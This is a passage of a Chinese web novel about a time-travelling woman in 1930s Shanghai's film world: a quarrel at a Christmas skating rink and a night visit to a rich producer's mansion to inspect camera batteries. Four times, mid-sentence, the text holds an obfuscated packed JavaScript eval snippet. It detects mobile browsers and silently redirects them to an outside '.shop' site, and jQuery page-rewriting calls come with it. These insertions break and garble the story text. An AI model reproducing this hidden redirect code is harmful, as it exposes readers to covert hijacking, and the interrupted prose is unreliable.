周弥眼见林青秋眼里的光黯了下去。毕竟所谓“静待消息”,不过是体面的拖延,最终多半石沉大海。她嘴唇动了动,似乎还想再争取几句,但目光瞥见自己,又面露难色,欲言又止。 周弥想她应该是有什么不方便让第三人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098411|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到的话要讲,便朝二人点了点头:“你们先聊,我去那边活动活动。” 滑出几步,她回头看了一眼。 林青秋站在原地,单薄憔悴,像一株被遗忘在冬日花园里的、过了花期的玉兰。 陆世铮会帮她么? 看起来不会。 从他刚才的言语里,听得出他是一位很实际的商人。 一位清纯玉女路线的女明星,每部饰演的都是情窦初开或者不通感情的懵懂少女,男粉众多,年纪轻轻突然怀孕生子,三年抱俩,在任何年代,都会引发惨烈的脱粉回踩。 其实也可以理解。这一类的类型片演员毕竟还谈不上艺术家,她们的存在本来就是给影迷造梦的。影迷的梦都碎了,还怎么要求影迷再去兼顾明星的梦?这未免有些强人所难了。 周弥心中略略感叹,在人群外围慢滑了两圈,又打算往中央去。 中央实在人满为患,身影交错。周弥素来不爱热闹,只是陆世铮与林青秋正站在场边说话,如果自己一直在边缘徘徊打转,倒像是刻意避着,反而让林青秋的处境更显尴尬。 这时,背后突然听见一声带着迟疑的轻唤: “周姐姐?” 她回过头,看到孙祺瑶扶着栏杆,眼睛睁得圆圆的,满是惊讶与欢喜。 孙祺瑶围着一条厚厚的灰色毛线围巾,裹住了半张脸,露出的脸颊和鼻尖都冻得红扑扑的,像擦了过量的胭脂。看见周弥转身,她眼睛倏地亮了,唇角立刻高高翘起来: “真的是你!我刚才远远看着就像,没敢认呢!” 她身后半步,杜茗珍也滑了过来。 杜茗珍今日打扮得格外打眼。 一身正红色的呢子大衣,剪裁极为合体,腰身收得恰到好处,衬得身段窈窕。领口露出一圈蓬松的雪白兔毛,柔软地贴着下颌。头发梳成很时髦的样式,戴了顶同色的贝雷帽,斜斜压在鬓边,帽檐下眉眼精致如画,双手插在大衣口袋里,冰刀稳稳立在冰上。 看见周弥,杜茗珍嘴角扯出一个笑。那笑不算热情,甚至有些僵硬,像完成某种不得不做的礼节,然后点了点头,算是打过招呼,随即冰刀一转,便朝另一个方向滑走了。 “周姐姐也来滑冰?”孙祺瑶松开栏杆,小心翼翼地往前滑了小半步,声音里满是雀跃,“好巧呀!我和珍珍也是第一次来真冰场,好好玩!你滑得真好!珍珍也特别会滑的……” 她说着,回头想指给周弥看,才发现身后不远处,刚才还站着杜茗珍的地方,此刻已空无一人。那股高涨的分享欲,像被针扎破的气球,倏地泄了气。 她转回头,手指无意识地攥住了自己的围巾边,犹豫了一下,忽然伸出手,轻轻握住周弥的手腕,晃了两晃: “周姐姐,有件事…我这两天正在犹豫怎么和你说,今天既然恰巧遇见了,我就说了,希望你不要怪我…” 听孙祺瑶这样措辞,又是这样的神情,周弥心里隐隐不安,预料到接下来的话恐怕不会是自己爱听的。 "什么事呢?”她语气尽量放得平和。 29. 圣诞冰场(四) 孙祺瑶绞着围巾的流苏,声音低低的:“想了想,电影我还是不拍了……因为我怕耽误学习。” 周弥没有立刻接话。冰场的灯光在她脸上投下晃动的阴影,让她的表情有些莫测。 心中:老天奶!熬了好些个大夜!剧本差不多写完了!量身给你定做了角色!你说不演了!我要是和你签了合同,起码还能赚一笔违约金!你你你怎么能不讲信用! 表面上强笑:“因为珍珍吧。” 因为是强笑,所以显得非常虚假,有点像皮笑肉不笑。 在这种皮笑肉不笑的压力下,孙祺瑶垂下头,干脆不说话了。 周弥耐着性子问:"她不肯拍了,是么?” 孙祺瑶几不可察地点了点头,几乎是从齿缝里挤出一句:“真对不起你……” 尽管早有心理准备,一股急火还是“噌”地窜上周弥的心头。 控制情绪…控制情绪! 她吸了口气,将那股急躁压下去,声音却不由自主地加快了些:“她不肯拍,没关系。那是她的选择。但为什么你也不要拍了?我们不是早先说好了的吗?” 孙祺瑶被这连番追问逼得终于抬了抬头,却只敢看了周弥一眼,又像被烫到似的飞快移开视线,眼神虚浮地投向自己冰鞋的鞋尖: “对不起……我知道这样不对。可我……没办法舍弃和珍珍的友谊。她是我……很珍惜的朋友。” 周弥虽然之前就有所顾虑,但因为“知晓未来”并未真把这顾虑当回事。此刻望着她这副逆来顺受、将自我意志完全让渡给一段关系的模样,实在按不住火。 但想孙祺瑶终究还是个不谙世事、将友情看得大过天的女学生,因此还是尽量让语气听起来像一位耐心的姐姐,抬手拍了拍她紧绷的肩膀,试图传递一点温度: “这和珍惜不珍惜有什么关系呢?一开始,本来也只是想邀请你。你认为小姐妹之间不该有隐瞒,我…勉强能理解。但现在,你并没有背着她做什么,是她自己要放弃的,不是吗?” 听她这么说,孙祺瑶重重叹出一口气,那气息在冷空气中凝成一小团迅速消散的白雾: “实在对不起。我也想知道,为什么我会这样……我想,是因为我太看重珍珍了。那位白小姐,应该是姐姐你很看重的朋友吧?所以你让她做女主角。我对珍珍的心也是一样的——在我心里,她是最好的,我希望她能受到最好的待遇。” 周弥无语了,感慨杜茗珍真会灌迷魂汤,她不相信这是孙祺瑶自己会有的感悟。但她不动声色,顺着话锋问道:“听你这个意思,她是在哪里受到了‘更好’的待遇?” 孙祺瑶咬了咬嘴唇,坦诚地说:“她去华光面试,通过了。” “那你呢?”周弥的目光锁住她,声音带着无形的压力,“你也要去华光了?” 孙祺瑶犹豫了一下,手指无意识地抠着栏杆上粗糙的漆面:“她拉我去面试了。我……没有通过。”说完,她自我解嘲地扯了扯嘴角,“其实除了周姐姐你,谁会觉得我能拍电影呢?本来也是天方夜谭的事,过自己正常的生活蛮好的。” 冰场的灯光在她脸上投下晃动的阴影,那双眼睛里的光是很暗淡的。 “听你的意思,以后也不想演电影了,是么?” 控制情绪…控制情绪…她默念。 谁料孙祺瑶点点头,脸上挤出一个故作轻松的笑,手在腮旁边挥舞了两下:“没关系呀。我演不演,本来也不关紧要。” 对话如果停在上一刻,周弥或许还只是失望。但不关紧要这四个字,轻飘飘地否定了她自己可能拥有的天赋、热情,也轻蔑地践踏了周弥为她费过的心。 一股混合着怒其不争与被彻底轻慢的火焰,猛地窜了上来。于是猛地一扭身,也重重靠在了冰冷的栏杆上,冷冷道: “你要不要演电影,是你个人的自由。你也没必要向我道歉。只不过刚才的理由,实在让我有些生气。你拿我和秋宁的事举例,那我便把这事说清楚:秋宁对我有许多实在的帮助,所以我也诚心帮她。但我帮她,与我成就自己不是非此即彼的关系。真正的伙伴,是你好时我也好,不是为了自己好就不让别人好。如果一段感情,友情也好,亲情爱情也罢,需要你不断奉献自己来配合对方,那你要仔细想想,她有没有尊重你?你自己有没有尊重自己?” “你们俩的事,我本不想多嘴。可从第一次在照相馆遇见,到上次在华光会面,我看到的都是你在单方面讨好她。比如你们拍美术照那天,我明明看到她对橱窗里陈列的照片很感兴趣的,但嘴巴上却显得是为了你,你受了她的恩惠似的,到最后,反而成了她太给你面子,你…” 孙祺瑶的脸色在话音中一点点褪去血色,变得煞白,手早已不在腮边扇动了,而是紧紧攥着,指节都捏得发青,搓了又搓,然后突然非常怕冷似的,紧紧捂住两只通红的耳朵。 很明显,孙祺瑶不想听她继续说下去,又不好意思直接让她别讲了或者直接捂住耳朵,所以做出一副冻坏了的样子,显得自然一些。 周弥看着眼前这副“拒听”的姿态,满腔恨铁不成钢的灼热心绪,像是骤然被泼了一盆冰水。她的一片肺腑之言,在对方看来,不过是惹人厌烦的挑拨离间。 她主动收住了所有未尽的话,只觉得一阵心灰意冷的疲惫袭来,看向孙祺瑶的目光里,最后一点温度也消失了,只剩下淡淡的、带着距离感的冷笑。 孙祺瑶窥见周弥那彻底冷下去的神色,心里猛地一慌,知道自己这是把她彻底得罪了。失信的是自己,没道理的也是自己。情急之下,她慌忙把手从耳朵上撤下来,也顾不得许多,下意识就像往常那样伸手去抓周弥的手腕,想要摇晃着撒个娇,试图弥合这突然裂开的缝隙。 然而,她的手刚刚触及周弥冰冷的大衣袖口,周弥手腕倏地一翻,利落地将手抽了回去,同时,脚下冰刀在冰面上轻轻一旋,整个人向侧后方滑开半米有余,瞬间拉开了两人之间的距离。 周弥冷冷道:“我看你并不能听进我的话。说起来,我也不过是个外人,比不上你们感情深。那么你自己心里怎么舒坦,就怎么做,不必听别人说什么了。今天是我不该说这些,再见了。” 说罢脚下发力一蹬,人已朝着远处灯火稠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106961|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密的方向滑去。 冰场上灯光流转,人影交错。周弥滑得极快,带起的冷风刮过脸颊。有一回两人几乎迎面遇上——孙祺瑶嘴唇动了动,像是要说什么,周弥却连目光都没偏一下,从她身边疾掠而过,只留下一道迅疾的风。 滑了两圈,心底那口气并未随速度宣泄,反而更加沉郁。这时,陆世铮从身后稳稳跟了上来,与她保持着恰好能听清对话的距离,并肩滑了一会儿,才闲谈般开口:“方才那女孩,是你的朋友?” “嗯,”周弥目光钉在前方摇曳的光影上,声音没什么起伏,“一个认识的女学生。” “闹别扭了?” 周弥心下微愕,侧目看了他一眼。自己的情绪,竟已外露到如此地步了么? 陆世铮并未看她,只用眼神朝侧后方不易察觉地示意了一下:“她方才望着你的方向,好像在抹眼泪。” 周弥"哦"了一声,心想本来就要赶着审查新政策下发前上映神怪武侠片,现在好了,又要花时间再去找演员。看来做生意还是要定合同,不然遇上出尔反尔的事也没法说理去,于是硬起心肠道: “她为什么哭,我不知道。反正不是我惹的。”说罢,脚下再度发力,试图拉开距离。 陆世铮却依旧不紧不慢,如影随形,又保持着那半个身位的微妙间隔。 “你看上去,心情不太好。”这次,他的声音离得更近了些,不是疑问,是陈述。 周弥侧过头瞥他一眼,带着点迁怒的意味:“怎么,陆先生自己的麻烦已经解决了?倒有闲心,来过问我们女孩子之间的琐事。” 陆世铮点点头,神色坦然:“解决了。” “怎么解决的?” “按正当程序。” 周弥冲他轻嗤一声:“你这人真没同情心。” 陆世铮不置可否地笑了一笑:“我是个商人,不是慈善家。她自己都不珍惜自己的前程,我为什么要为她托底呢?” 他摇了摇头,唇角勾起一丝调侃的笑意,"就在来的路上,周小姐还夸我是个好人,现在对我的评判,又变了种论调,看来刚才那一席话,让周小姐又给我扣分了。"说到这,微笑着叹了口气。 这个人刚刚还展现着商人近乎冷酷的理性,此刻又能说出扣分这种幼稚词语,这让周弥觉得很有趣,心头的火气也随之淡了,顿觉对他的迁怒实在无理,于是展颜一笑: “那你给我解释一个问题。若是解释得通,这分我就不扣了。” “请讲。”陆世铮也停下,转过身正对着她,做出洗耳恭听的姿态。 周弥将手背到身后,冰刀在冰面上轻轻划着小圈,抬眼直视他:"我问你,你说她不珍惜自己的前程,是什么意思呢?" "我认为,她不应该在事业发展最好的时候结婚生子。没有片方会接受生过孩子的女演员演感情戏,这太不浪漫了。观众走进影院,买的是一个关于爱情、浪漫或魅力的梦,而一位母亲……很难再让人相信她是不染尘埃的梦中情人。" 周弥点点头,“那为什么男演员结婚生子,甚至绯闻不断,却依旧戏约不断呢?” 30. 圣诞冰场(五) 陆世铮沉默了数秒,用很遗憾地语气说道:"周小姐,我理解你对此种现象的不平,但这背后是由观众习惯、社会观念、乃至故事类型本身共同决定的。男性演员的公众形象更多与力量、责任、事业挂钩,家庭有时甚至是加分项。 说到这,他抬手松了松领带:"另外,市场提供给男性的角色类型远多于女性。男演员可以去演战争英雄、枭雄、智者。但女性除了能在恋爱戏里面当主角,实在找不到什么故事能够让女性当主角了。" "抱歉,我知道作为一个男性,说这种话非常傲慢无礼,但我是一个商人,我只是在说明一种市场现象。以上发言仅代表商业分析,不代表本人立场。" 说到这,他露出一个笑容:"希望周小姐不要因为我刚才的这段发言,继续对我减分。" 周弥笑道:“不会,你说的都很客观。那么,像陆先生这样有理想主义的人,想不想和我一起改变这种状况?" 陆世铮眼睛中露出一丝惊讶,沉吟了片刻:"就我个人情感而言,我乐见其成,也愿意在力所能及的范围内,做一些或许能改善女性处境的事。但是…” 他话锋一转,“我是一个商人。我的背后有一间公司,有上百名需要我负责的员工,有等着分红的股东。我必须对他们负责。我敢说,如果我用林青秋做了女主角,这部戏一定会赔的很惨。" "一定?你怎么这么敢打包票。" 陆世铮道:"这是经过验证的市场规律。" 周弥笑道:"我倒觉得天下没有一定的事。不过你既然不准备录用林青秋,能不能把她的名片给我呢?"说着,她伸出手来,做了个接收的姿势。 陆世铮从西装内袋取出那张素白卡片,却没有立刻递过来,而是用指尖夹着名片,笑道: “虽然刚才我说了这么多,但周小姐是华光的高级顾问,我很看重你的意见。我看你的态度,应当是认为她加入华光比较好,我去和选角部交代一声,也不是什么问题。” 哦?刚才还和林青秋说自己不愿意做一个独裁者,现在又跟她说不是问题,男人还真是善变呀! 不过,她可是看中了林青秋的表演经验和肯演配角的态度,才不愿让给华光呢。于是手指一夹提,将名片从陆世铮指间抽走,"那不必,我有个朋友,想要邀请她拍电影。" 陆世铮挑眉道:"哦?周小姐认识这么多做电影的朋友?" 周弥笑得很开朗:"大制片厂的老板,我只有你一个朋友。我那位朋友是小作坊的,所以才光脚不怕穿鞋…" 陆世铮笑道:"林青秋好歹是个明星。但凡是明星,都是以身价自重的,哪怕现在有价无市,恐怕也不愿意去小作坊。" 周弥只笑不答。她心里还是那个意思,天下没有一定的事。 这时,白俄老头从木屋走出来,手里拿着串铃铛,铛铛一阵晃。 听到打烊时间到了,冰场上意犹未尽的人们开始说笑着,陆陆续续向租赁处滑去。还了冰鞋,重新坐回车上,周弥摸出名片翻转了两下,心中很满意,感觉这次真是挖到宝了。 因为林青秋本人比照片更有古典美,实在太适合拍古装片了! 最关键的是,现在她人在低谷,签约价格能压的相当低,这不就是特价捡漏嘛! 这样偷乐了一阵后,心中开始排兵列阵:现在接触的人里,林青秋演技是最好的,可以给白秋宁带戏;孙祺瑶声音条件是最好的,演技潜力也是最大的,未来还是要签她;杜茗珍…杜茗珍最漂亮,漂亮女配其实也是营销点。 想签孙祺瑶就要先得到杜茗珍的心,可落花有情流水无意,能不能强取豪夺呢? "那个,隐隐约约有听说…华光新签了一个叫杜茗珍的女学生么?"她问。 “杜茗珍?”陆世铮想了想,“选角部的事我很少过问。不过倒是隐隐约约听说最近招了个很漂亮的女孩子,年纪不大,或许是做女学生的,不知道是不是她。” 周弥心里叹口气,陆世铮啊陆世铮, 华光一年到头也不爱招演员,怎么偏偏在我要用演员的时候你招演员呢? 陆世铮看她神色变幻莫测:"怎么?你要是觉得她不适合,不应被留用,我就和选角部说一声。" 哎?她倒不是这个意思。 以她对华光的了解,那里有最完善的人才培养体系,还有专属演艺学校,这两个人就先放在那里打磨打磨,等养得羽翼丰满,她再把她们强取豪夺回来!毕竟她自己都不怎么会表演,要是直接让她指导,她还真指导不来。 周弥故作沉吟了一会儿:“就先考察考察吧,新人嘛,总要磨磨。还有一个叫孙祺瑶的,模样上可能不算出挑,但她很有潜力。我听说她被淘汰了,你看看能不能收下她。” 陆世铮点点头,表示了同意。既然谈到工作,他就也把话题带到了工作上,问起新式摄影机电池的事。 据他所言,他早前为改良手摇摄影机,已经动用人脉,从日本弄来了一批实验级的蓄电池。但是电机图纸始终是瓶颈,研发就停滞了。东西原本搁在公司,自从商业间谍一事后,他就将这些东西转移到家中存放了。 "我家就在附近,顺路去看看?若合用,就交给林先生早做研究。”他说。 他既然这么说了,周弥自然要去看,陆世铮把车子在下个路口转了个方向,不久就到了他的府邸。 眼前的黑铁鎏金大门有近三米高,繁复涡卷纹中央嵌着篆体“陆”字徽记,门侧青砖高墙逶迤,墙头覆着琉璃筒瓦。 车道尽头双层主楼巍然伫立:浅灰石材立面雕满科林斯柱式与卷草纹,二楼正中是弧形大阳台,白玉石栏杆衬得建筑愈发雅致,一整排拱券长窗,每扇窗内垂着厚重丝绒帘幔,仅帘边泄出几缕暖黄微光。 车子继续往内行进,庭院布局工整到极致,两侧冬青树墙修剪齐整,沿小径蜿蜒伸展,远处玻璃花房的轮廓在月光下若隐若现。 这一路看下来,周弥内心大受震惊,虽说她现在也算半只脚踏进了此时的上流社会,但这么大的排场她还是第一次见。她甚至怀疑之前在民国剧里见到的豪门还都是缩减过置景经费的。 按道理说,华光虽然最后位列三大电影公司,但此时还是家初创,眼下的营业额在三大公司里应还是垫底的,然而这样看着,他的生活质量反倒像最高的,看来他家在南洋的家族生意是利润十分惊人的了。 下了车,门房内外的听差见主人归来,皆含笑起身,齐齐行了新式的鞠躬礼。 周弥尚不习惯如此阵仗,只微微颔首回礼,跟在陆世铮身后步入主楼大厅,他带她转向右手边,是一个小森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115723|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林般的小厅,各种植物将整个房间妆点的很盎然,壁炉的火噼里啪啦响着,令人浑然忘却窗外正是严冬。 陆世铮笑道:“周小姐,你看这所屋子怎么样?” 周弥道:“很好,很有生机。” 陆世铮笑道:“这就是我的会客厅。我很喜欢这种氛围。” 周弥望向这些植物,许多明显源自南洋,在北方冬季极难存活。要维持这一室葱茏,所需的不仅是昂贵的花房设备和恒温恒湿系统,更需花匠日夜不懈的精心照料。在民国时期,电力相当紧张,耗费的金钱恐怕非常人能想象。 两人向厅内深处走去,绕过一丛高大的散尾葵,侧面还陈设着几只精巧的鎏金鸟笼。 笼中养着数只羽色极为艳丽的小鸟。其中一对体型娇小,通身羽毛是罕见的靛蓝色,在灯光下流转着丝绸般的光泽,喉间一抹明黄,宛如镶嵌的宝石;另一只则羽冠鲜红如焰,翅尾修长,拖曳着宝绿色的长羽,姿态优雅。 陆世铮见她驻足鸟笼前,便走上前来,含笑介绍:“蓝冠短翅鸫和绶带长尾风鸟养了很久了,非常活泼,也不怕人。” 周弥"嗯"了两声,她不玩鸟,听不懂这些,总之看样子是很名贵的。 陆世铮花钱非常舍得,这点她早就发现了。如果不是他还在踏实搞实业,为人也并不嚣张,否则她真的会把他当做纨绔公子看待。 "周小姐稍坐,我去取电池。" 周弥点点头,刚在铺着软垫的藤椅上落座,便听见轻快的脚步声。循声望去,一个约莫十五六岁的女孩子正从侧廊走来。 她穿着一身藕荷色阴丹士林布单衫,袖口与下摆滚着一道细细的墨绿牙边。长发用同色系的发带系着,面如满月,皮肤雪白,清秋文雅,亭亭玉立,一见到她,眼睛里露出惊讶的神采。 周弥早听说陆家是个大家族,这个年代的大家族很多都是一家子住在一起,虽然他家主业在南洋,但国内也有根据地,正暗暗猜想这女孩会不会是陆世铮的亲人,却见那女孩子已转身快步踏上楼梯,朝楼上脆生生喊道:“妈妈,有客来了!” 话音未落,她又小跑下来,走到周弥身前,恭敬地伸出手,做出是要替周弥脱下大衣的手势。 此时楼上快步下来一位四十余岁的妇人,向周弥问道:“小姐您好,请问想用些什么茶点?” 周弥这才知道,这女孩子和她的妈妈只是在陆家帮工的佣人。幸而自己还没来得及出声打招呼,不然要闹大大的一个笑话。 周弥作为21世纪无产阶级女学生,还不习惯这样被人贴身伺候,但那女孩的手都已经搭在了她的肩上,也不好再扭捏,只好僵硬地侧过身,任由对方帮自己脱下大衣。 这一脱,那女孩忽然轻轻“哎哟”了一声,目光落在周弥小腿处。 周弥顺着她的视线低头一看,原来自己右侧的长筒袜上,不知何时竟崩开了一道长长的、极为显眼的划痕,丝线断裂,从膝盖附近一直蔓延到脚踝上方,看起来实在有些狼狈。想来或许是方才在冰场或匆忙间在哪里刮蹭到了。 女孩快言快语地说道:“小姐,我那儿有双新的长筒袜,还没上过脚呢!您要是不嫌弃,先换上我的应应急吧?” 她母亲在一旁听了,忙低声斥道:“小玉!不懂规矩!小姐怎么会穿你的东西?” 31. 圣诞冰场(六) "不不不,我要穿的,谢谢你。”周弥立刻接口,“麻烦你了。去你房间换吗?” 小玉脸上绽开笑容,连连点头,引着她往侧边佣人房的方向走。周弥回头对那妇人道:“若是陆先生回来……” 妇人立刻接道:“我明白,就说小姐去洗手了。” 其实,周弥只是想到陆世铮回来见她不在,显得她不太礼貌,所以想请那妇人在会客厅稍等,帮她传达一句,谁知还要编一个理由出来。 看那妇人的打扮,是旧式女子,对于女子仪容这种事应该非常保守,也是为了体贴自己的面子,便也承了这份好意,道了声谢。 小玉引着她,脚步轻快地穿过主厅一侧的走廊,朝佣人房所在的配楼走去。 陆公馆内部结构比她想象中更复杂,回廊曲折,房间众多。 小玉年纪小,走得快,拐过两个弯后,周弥一个不留神,竟跟岔了路。 她推开一扇以为是通往配楼的门,通向的却并不是配楼。 这是一个极为宽敞明亮的衣帽间。 四壁皆是顶天立地的胡桃木衣柜,中央岛台上陈列着各式男士手表,胸针,领带,领结。 靠墙摆放的一排矮柜,上面整整齐齐地垒着数十个包装精美的圣诞风情礼盒。礼盒大小一致,墨绿盒身,暗红缎带。 周弥曾在穿越前翻阅过的泛黄时尚杂志里,见过这个品牌的标志。 那是二十世纪初巴黎最负盛名的手工鞋坊之一,它的客户名单非富即贵,在1930年的上海,这绝对是顶尖的奢侈品。 嗯?他一个男的,买这么多女鞋干什么? 该不会… 啊啊啊啊啊! 不不不,异装癖的话还需要有其他配套才对吧!而且这些鞋子看起来都是一样的。 莫非…这是他的员工福利? 那时候好莱坞的制片厂流行在圣诞节给员工和明星发放丰厚福利,通常是名表、高级定制礼服等。 国内电影公司也有样学样,只是“寒酸”许多,多半是派克钢笔、进口化妆品之类。 周弥心里不由自主地冒出一声无声的惊叹:豪不可言啊!送这么豪华的礼物给员工,在他手下工作也太幸福了吧! 正想着,听到小玉叫她:“小姐,这边,这边!” 原来,小玉发现她没跟上,急忙折返回来寻她,见她站在衣帽间门口张望,赶紧小声招呼。 周弥回过神,跟着她穿过走廊,来到配楼一间虽然窄小、但收拾得干净整洁的佣人房。 小玉从自己带锁的小木箱里,珍重地取出一双用薄纸仔细包着的新长筒袜,递给周弥。 换好袜子,周弥觉得实在不好意思,想掏出钱给她,又想起手包还在会客厅,便问:“这袜子多少钱?一会儿我给你。” 小玉连连摆手,脸上绽开笑容:“哎呀不用不用,小姐!一双袜子而已,值什么钱!只要您帮我给少爷美言几句,他一高兴,肯定给我包个大红包呢!万一再给我涨工钱,那就更好了!” 周弥不禁失笑:“我的美言有这么有用么。” 小玉眨眨眼:“肯定啊,您不是少爷的女朋友吗?帮您不就是帮少爷开心嘛!” 哈?! 怎么什么年代都有人乱嗑CP啊! 周弥赶紧正色道:“不是哦!我可不是你们少爷的女朋友。你想错了。” 小玉愣了一下,随即捂住嘴,眼睛瞪得圆了,声音压得极低,带着难以置信的试探:“难道……已经悄悄成婚了?是少奶奶么?” “什么跟什么呀!”周弥感觉额角有黑线滑下,更不是啦!” 这下,小玉的表情简直要“瞳孔地震”了,显然在她简单的认知里,一个年轻漂亮的单身小姐深夜出现在少爷私宅,关系无外乎那几种。 她的眼神里开始掺杂迷惑和一丝丝更微妙的猜测……难道是不便明说的那种关系? 周弥一看她表情就知道她想歪了,立刻斩钉截铁地打断她的脑补:“我和你们少爷,没有半点男女感情之事。你不要想歪了。” “怎么会?”小玉更困惑了,逻辑直接而纯粹,“您不喜欢少爷,怎么会深更半夜独自一人到这里呢?” 是了。在民国,男女大防虽已不如旧时严苛,但一位体面人家的小姐,若与一位单身男士没有明确的婚恋关系,依旧不会在深夜单独到对方家中做客。 周弥解释道:“我只是因为有重要的工作,需要立刻和你们少爷谈,和喜欢不喜欢没有任何关系。” “这样啊……”小玉似懂非懂地点点头,但随即,她脸上又浮现出那种“我发现了秘密”的狡黠笑意,小声而笃定地说:“可是少爷很喜欢您呢。” “啊……是么?你怎么知道?” “我一眼就看出来啦!因为少爷对您和对别的小姐,完全不一样呀,他和您在一起的时候,耳朵红红的,他和别人站在一起就不会。刚才你们一起进门时,我偷偷观察呢。” 小玉得意地笑了笑,接着补充了最有说服力的证据,“我在这里做事好几年了,咱们家……从来没有其他小姐来做客过,您是第一个。” 周弥这下总算明白,刚才在大厅,这女孩初见自己时,那掩饰不住的惊讶和打量是从何而来了。 她笑道:"你自己也知道自己没见过几个小姐,净会想入非非了。我那儿有些好看的言情小说,改天送你。" 两人回到会客厅时,陆世铮已经回来了。 “小玉,这里没你们的事了。不用在这里伺候,和你妈妈都早些歇着吧。” “是,少爷。”小玉和她母亲齐声应道,动作利落地躬身。 小玉转身退下前,飞快地抬起眼,目光越过陆世铮的肩头,向周弥眨了眨眼。那眼神里的意思再明白不过:“一会儿可要记得帮我美言几句,讨个大红包呀!” 等这对母女离开,陆世铮朝周弥做了个“请”的手势: “周小姐,来看看这个。” 深蓝丝绒的凹槽里,躺着四枚沉重的铅酸蓄电池单元,每一枚都约有成年男子拳头大小,外壳是厚实的黑色硬橡胶压制而成,表面粗糙,带着模具留下的细微纹路。顶部伸出黄铜材质的正负电极柱,旁边还有个带螺纹的橡胶塞,那是添加电解液的注液孔。外壳有几个模糊的凹印数字和一行“日本汤浅制造所”的日文厂牌标识。 “这就是我弄来的东西。按日本实验室的资料,单个电压标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124348|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称六伏,容量……他们叫‘安时’,大约40,你看看能不能用。” 她看了一眼,这不是铅酸电池嘛,电动车之神。 用铅酸电池来尝试驱动改造后的摄影机电机,理论上是可行的,只是没有镍镉电池轻巧,摄影师在肩上扛久了会很累。 “实在抱歉,以我目前的渠道,能弄到的确实只有这种电池。不过……周小姐之前提到美国贝尔实验室已经研发出‘香烟盒大小’的电池,这消息实在令人振奋。自从有声电影兴起,我的技术团队一直在追踪便携电源的进展,却从未听说过此类产品问世——不知周小姐的消息,具体从何而来?” 这…… 周弥只模糊记得这个时间点,镍镉电池的实验室原型已经诞生,却忘了它距离真正商用普及,还有近十年的漫漫长路。 这个时代的信息差,远没有她想象中那样天衣无缝啊! 尤其是这些业内人士,都是行业精英,哪怕有一点纰漏都会引发怀疑。她端起牛奶杯,借氤氲的热气掩去眼底一闪而过的懊恼。 再抬头时,脸上已恢复了一贯的从容: “我在几本海外学术期刊上读过相关的实验论文。我与那个研究团队里的一位学者,恰好有些私交。所以就…隐隐约约有听说啦!" 陆世铮笑道:"周小姐的人脉实在是广,每个人又都非常神秘。" 周弥心里一跳,不知他是怀疑自己的身份,还是自己做贼心虚。打了个哈哈,把话头岔开: “我想,远水难解近渴。眼下最紧要的,是先用现有的铅酸电池完成电机和机身的改造试验,把拍摄画面的硬技术先追平世界潮流。至于轻型电池的落地,就徐徐图之吧。” 她放下杯子,“陆先生,我需要一笔额外的经费用于研发。不止为了电池,更为了一整套从拍摄到冲洗的、面向未来的技术升级。” 搞钱!搞技术!这土豪如此豪奢,金钱这方面,就请多多投资吧! “没问题。”他毫不犹豫。 两人又聊了一会儿,夜色已深,她起身告辞。 看陆世铮又要相送,周弥竖起手掌做了推让的动作: “真的不必再送了,既然已经到了家,陆先生留步吧。我自己到外面叫辆人力车就好,很方便的。” 陆世铮笑道:“周小姐有所不知,这片区域管理很严,寻常人力车是进不来的。你要是不肯让我送,那就坐我家的汽车回去。"话音未落,手已按响了门旁的电铃。 几乎是同时,侧廊传来了稳健的脚步声,一位穿着整洁制服的司机已出现在不远处。 那司机已领会了主人未曾说出口的吩咐,做了一个请的手势,转身朝车库方向去了。行动迅捷,完全没给她留下再次推辞的空隙。 周弥就也再推辞,向陆世铮道了谢,又给小玉美言了几句,没一会儿,车已经停在门口了。 正要上车时,陆世铮叫住她:“稍等。” 他从门厅的柜子上取过一个早已备好的礼盒,递到她手里,微笑道: “圣诞礼物。希望合你心意。” 周弥一看,墨绿盒身,暗红缎带。 这不是送给员工的福利嘛!原来她也有一份啊。 32. 组建团队(一) 回到公馆时,已过午夜。 